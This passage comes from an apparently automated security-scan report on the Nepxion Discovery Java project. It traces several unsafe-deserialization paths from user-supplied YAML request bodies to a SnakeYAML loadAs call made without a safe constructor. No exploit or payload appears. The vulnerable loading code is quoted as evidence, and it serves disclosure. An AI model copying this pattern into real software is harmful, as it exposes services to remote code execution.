    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n8. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n   \r\n           return snakeYaml.loadAs(yaml, clazz);\r\n       }\r\n   }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L139-L139).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L139-L139)\r\n
    @ApiOperation(value = \"根据Yaml格式,解析版本蓝绿灰度发布策略为Xml格式\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doParseVersionRelease(conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L140-L140)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doParseVersionRelease(conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L311-L311)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.parseVersionRelease(conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L313-L313)\r\n
    private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.parseVersionRelease(conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L174-L174)\r\n
\r\n       @Override\r\n       public String parseVersionRelease(String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L175-L175)\r\n
    @Override\r\n       public String parseVersionRelease(String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return parseVersionRelease(conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L111-L111).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 8 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L111-L111)\r\n
    @ApiOperation(value = \"局部订阅方式,根据Yaml格式,重新创建版本蓝绿灰度发布(创建链路智能编排,不创建条件表达式)\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L112-L112)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L271-L271)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L273-L273)\r\n
    private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L126-L126)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L127-L127)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n           return recreateVersionRelease(group, serviceId, conditionRouteStrategy);\r\n   
\r\n \r\n7. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n8. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n   \r\n           return snakeYaml.loadAs(yaml, clazz);\r\n       }\r\n   }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L97-L97).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L97-L97)\r\n
    @ApiOperation(value = \"局部订阅方式,根据Yaml格式,创建版本蓝绿灰度发布\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L98-L98)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L251-L251)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L253-L253)\r\n
    private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L108-L108)\r\n
\r\n       @Override\r\n       public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L109-L109)\r\n
    @Override\r\n       public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return createVersionRelease(group, serviceId, conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L62-L62).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L62-L62)\r\n
    @ApiOperation(value = \"全局订阅方式,根据Yaml格式,重新创建版本蓝绿灰度发布(创建链路智能编排,不创建条件表达式)\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L63-L63)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L201-L201)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L203-L203)\r\n
    private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L81-L81)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           return recreateVersionRelease(group, null, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L82-L82)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           return recreateVersionRelease(group, null, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L126-L126)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L127-L127)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n           return recreateVersionRelease(group, serviceId, conditionRouteStrategy);\r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L48-L48).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L48-L48)\r\n
    @ApiOperation(value = \"全局订阅方式,根据Yaml格式,创建版本蓝绿灰度发布\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L49-L49)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L181-L181)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L183-L183)\r\n
    private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L69-L69)\r\n
\r\n       @Override\r\n       public String createVersionRelease(String group, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
